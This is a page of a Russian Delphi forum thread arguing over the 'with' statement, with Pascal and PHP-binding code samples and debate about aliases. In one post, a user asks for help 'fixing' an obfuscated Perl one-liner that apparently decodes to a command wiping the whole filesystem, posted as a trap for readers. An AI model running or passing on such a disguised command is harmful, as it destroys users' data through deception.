powered by simpleCommunicator - 2.0.61     © 2026 Programmizd 02
Целевая тема:
Создать новую тему:
Автор:
Закрыть
Цитировать
Форумы / Delphi [игнор отключен] [закрыт для гостей] / Улучшение оператора with: голосование и обсуждения
25 сообщений из 100, страница 2 из 4
Улучшение оператора with: голосование и обсуждения
    #39989513
Мимопроходящий
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
ВсеРазумный
Не поддерживаю. Язык должен быть понятным.
бгы-г!
Код: python
1.
^[-.\w]+@(?:[a-z\d][-a-z\d]+\.)+[a-z]{2,6}$
...
Рейтинг: 0 / 0
Улучшение оператора with: голосование и обсуждения
    #39989515
Kazantsev Alexey
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
rgreat
Это почти то же самое что и
Код: pascal
1.
2.
3.
  var e1:=Expr1; 
  var e2:=Expr2;
  e1.Name := e2.Value;


Во-первых это копирование. Во-вторых, с записями такая конструкция не прокатит.
...
Рейтинг: 0 / 0
Улучшение оператора with: голосование и обсуждения
    #39989522
Kazantsev Alexey,

Разве когда он скомпилирует код, ассемблерный лист не будет идентичен?
...
Рейтинг: 0 / 0
Улучшение оператора with: голосование и обсуждения
    #39989525
rgreat
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Мимопроходящий,

помогите, пожалуйста исправить такую программу:

cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

- не печатает
...
Рейтинг: 0 / 0
Улучшение оператора with: голосование и обсуждения
    #39989527
rgreat
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Kazantsev Alexey,

Потому и "почти что".
...
Рейтинг: 0 / 0
Улучшение оператора with: голосование и обсуждения
    #39989532
Мимопроходящий,

Ну регулярные выражения Это Святое!
...
Рейтинг: 0 / 0
Улучшение оператора with: голосование и обсуждения
    #39989545
DmSer
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
rgreat
DmSer,

А обработка ошибок у тебя в таком варианте где?


Тот же try..finally, только за ширмой.
...
Рейтинг: 0 / 0
Улучшение оператора with: голосование и обсуждения
    #39989547
rgreat
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
DmSer,

В итоге еще длиней чем сразу через try сделать выйдет.
...
Рейтинг: 0 / 0
Улучшение оператора with: голосование и обсуждения
    #39989551
DmSer
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
rgreat
DmSer,

В итоге еще длиней чем сразу через try сделать выйдет.


Наоборот, короче на 2 строки.
...
Рейтинг: 0 / 0
Улучшение оператора with: голосование и обсуждения
    #39989556
Соколинский Борис
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Dimitry Sibiryakov
Все проблемы с With решаются игнорированием правил старика Вирта и выдачей ошибки (или хотя бы предупреждения) если идентификатор в коде ресольвится более чем в один объект
вместо примитивного "молча возьмём тот, что ближе" ака "кто последний, тот и папка".
Больше всего в этой сентенции мне нравится слово "все". Особо радостно будет код VCL перекомпиливать, где "последний папка" встречается чуть реже чем везде.
...
Рейтинг: 0 / 0
Улучшение оператора with: голосование и обсуждения
    #39989557
DmSer,

Представь сколько символов можно было сэкономить на then - begin используя простую { Притом прям на строке с if условием.
...
Рейтинг: 0 / 0
Улучшение оператора with: голосование и обсуждения
    #39989563
DmSer
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
ВсеРазумный
DmSer,

Представь сколько символов можно было сэкономить на then - begin используя простую { Притом прям на строке с if условием.


Представляю. С помощью фигурных скобок очень многие вещи получаются компактнее. Иногда завидую.
С другой стороны c# всё продолжают и продолжают уродовать. С begin..end бы они так не разбежались!
...
Рейтинг: 0 / 0
Улучшение оператора with: голосование и обсуждения
    #39989571
ъъъъъ
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
В общем, нужны нормальные с++ ссылки (фактически, алиасы).
With - не нужен.
...
Рейтинг: 0 / 0
Улучшение оператора with: голосование и обсуждения
    #39989582
Bred eFeM
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
ъъъъъWith - не нуженНе умеешь готовить ))

Достаточно чтобы отладчик поля прорисовывал, ну и иногда какой-нибудь "WithSelf" не помешал бы.
...
Рейтинг: 0 / 0
Улучшение оператора with: голосование и обсуждения
    #39989585
Bred eFeM
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
ъъъъъВ общем, нужны нормальные с++ ссылки (фактически, алиасы)Так есть var уже в любое место, чем не ссылка или алиас вкупе с магией разыменования указателей?
...
Рейтинг: 0 / 0
Улучшение оператора with: голосование и обсуждения
    #39989592
ъъъъъ
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
Bred eFeM
ъъъъъWith - не нужен
Не умеешь готовить ))

Достаточно чтобы отладчик поля прорисовывал, ну и иногда какой-нибудь "WithSelf" не помешал бы.

Уже больше полувека как (с 1969года), а отладчик такого не умеет.

With - не нужен. Дешевле отказаться, чем продолжать дальше тянуть эту колченогую конструкцию.
Достаточно алиасов, ограниченных текущим scope, как в нынешних var.
Типа:
Код: pascal
1.
2.
3.
4.
5.
  var button1 := TButton.Create(...);
  button1.Parent := ...;
  alias p = button1.Parent;
  p.Caption := '';
end; // end of scope


Как только появятся алиасы, with перестанет применяться, и в следующей версии его можно спокойно выпиливать.
И, наличие инлайн переменных уже делает бессмысленной любимую некоторыми глупость
Код: pascal
1.
2.
3.
with TMyClass.Create() do begin
...
   Free();


Для полноты, хорошо бы ввести в язык полноценный RAII, и тогда потихоньку сами собой отвалятся и try-finally...
...
Рейтинг: 0 / 0
Улучшение оператора with: голосование и обсуждения
    #39989593
ъъъъъ
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
Bred eFeM
чем не ссылка

Всем не ссылка.
...
Рейтинг: 0 / 0
Улучшение оператора with: голосование и обсуждения
    #39989596
ъъъъъ

With - не нужен.


Нужен))) Приведу свой код


Код: pascal
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
procedure TForm1.Button3Click(Sender: TObject);
var
  v, NewClas: TPtr;
begin
  with CurrentPHP do
  begin
    v := RegPHPClass('PHPClassTest'); // Инициализируем контейнер класса

    zend_register_function(v, 'TestFunc', @functionCall);
    zend_register_function(v, 'TestFunc1', @functionCall2);
    zend_register_function(v, 'TestFunc2', @functionCall3);

    // Добавим в него константы
    zend_declare_class_constant(v, 'constNull');
    zend_declare_class_constant(v, 'constLong', 2020);
    zend_declare_class_constant(v, 'constBool', True);
    zend_declare_class_constant(v, 'constDouble', Double(Pi));
    zend_declare_class_constant(v, 'constString', 'const set String');

    // Добавляем Protected свойства  PHPClassTest::ProtectedNull
    zend_declare_property(v, 'ProtectedNull', ZEND_ACC_PROTECTED);
    zend_declare_property(v, 'ProtectedLong', 2020, ZEND_ACC_PROTECTED);
    zend_declare_property(v, 'ProtectedBool', True, ZEND_ACC_PROTECTED);
    zend_declare_property(v, 'ProtectedDouble', Double(Pi), ZEND_ACC_PROTECTED);
    zend_declare_property(v, 'ProtectedString', 'Protected set String', ZEND_ACC_PROTECTED);

    // Cтатические переменные класса PHPClassTest::$StaticNull
    zend_declare_property(v, 'StaticNull', ZEND_ACC_STATIC);
    zend_declare_property(v, 'StaticLong', 2020, ZEND_ACC_STATIC);
    zend_declare_property(v, 'StaticBool', false, ZEND_ACC_STATIC);
    zend_declare_property(v, 'StaticDouble', Double(Pi), ZEND_ACC_STATIC);
    zend_declare_property(v, 'StaticString', 'Static set String', ZEND_ACC_STATIC);

    // Пробуем обновить static свойства
    zend_update_static_property(v, 'StaticNull');
    zend_update_static_property(v, 'StaticLong', 2095);
    zend_update_static_property(v, 'StaticBool', True);
    zend_update_static_property(v, 'StaticDouble', 2095.08);
    zend_update_static_property(v, 'StaticString', 'Static update String ');

    // Теперь хочу создать класс, и заполнить его переменными
    NewClas := NewPzval; // Создадим контейнер
    object_init_ex(NewClas, v); // Иницилизируем новый класс

    // Будем просто обновлять переменные в классе. Тем самыим добавляя значения
    zend_update_property(v, NewClas, 'UpdateNull');
    zend_update_property(v, NewClas, 'UpdateLong', 2020);
    zend_update_property(v, NewClas, 'UpdateBool', True);
    zend_update_property(v, NewClas, 'UpdateDouble', Double(Pi));
    zend_update_property(v, NewClas, 'UpdateString', 'Hello');

    // Вывод
    EvalCode('print_r(["StaticNull" => PHPClassTest::$StaticNull, "StaticLong" => PHPClassTest::$StaticLong, ' +
      ' "StaticBool" => PHPClassTest::$StaticBool, "StaticDouble" => PHPClassTest::$StaticDouble, ' +
      ' "StaticString" => PHPClassTest::$StaticString, "constNull" => PHPClassTest::constNull, "constLong" => PHPClassTest::constLong, ' +
      '"constBool" => PHPClassTest::constBool , "constDouble" => PHPClassTest::constDouble, "constString" => PHPClassTest::constString, "' +
      print_r(NewClas, 1) + '"]); ', nil, 'Test Runner', 1);

  end;
end;




Приводить CurrentPHP к каждой функции и всему остальному, будет достаточно сложно.
...
Рейтинг: 0 / 0
Улучшение оператора with: голосование и обсуждения
    #39989600
ъъъъъ
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
Няшик,

ну говнокод же.
...
Рейтинг: 0 / 0
Улучшение оператора with: голосование и обсуждения
    #39989609
Bred eFeM
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
ъъъъъ
Bred eFeM
чем не ссылка
Всем не ссылка.
Ну да, давай ещё const заинлайним всем на радость...
...
Рейтинг: 0 / 0
Улучшение оператора with: голосование и обсуждения
    #39989612
ъъъъъ,

Поясни за говнокод. Нормальный код.
...
Рейтинг: 0 / 0
Улучшение оператора with: голосование и обсуждения
    #39989614
ъъъъъ,

Ты просто не понимаешь, что я могу разделять загруженные PHP библиотеки на разные структуры, тем самым заставляя каждый поток работать со своим PHP классом.

Вот и выходит что это качественный код.
...
Рейтинг: 0 / 0
Улучшение оператора with: голосование и обсуждения
    #39989615
ъъъъъ
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
Bred eFeM
ъъъъъ
пропущено...
Всем не ссылка.
Ну да, давай ещё const заинлайним всем на радость...

With - не нужен.
...
Рейтинг: 0 / 0
Улучшение оператора with: голосование и обсуждения
    #39989616
ъъъъъ,

Поясни, в какой сфере он не нужен. Или он не нужен вообще. А если он вообще не нужен, то почему он в таком случае не нужен?


Данная конструкция тебе что, прикусила во время ом ?

Генерируемый ассемблерный листинг, 100% идентичен и без конструкции with. Что и с with


... Ты выражаешься не ясно, и непонятно. Не поясняешь и не акцентируешь.
...
Рейтинг: 0 / 0
Улучшение оператора with: голосование и обсуждения
    #39989617
Вот почему я не могу использовать with если генерируемый код идентичен коду, который без with с указанием прямой структуры или класса ?
...
Рейтинг: 0 / 0
25 сообщений из 100, страница 2 из 4
Форумы / Delphi [игнор отключен] [закрыт для гостей] / Улучшение оператора with: голосование и обсуждения
Найденые пользователи ...
Разблокировать пользователей ...
Читали форум (0):
Пользователи онлайн (0):
x
x
Закрыть


Просмотр
0 / 0
Close
Debug Console [Select Text]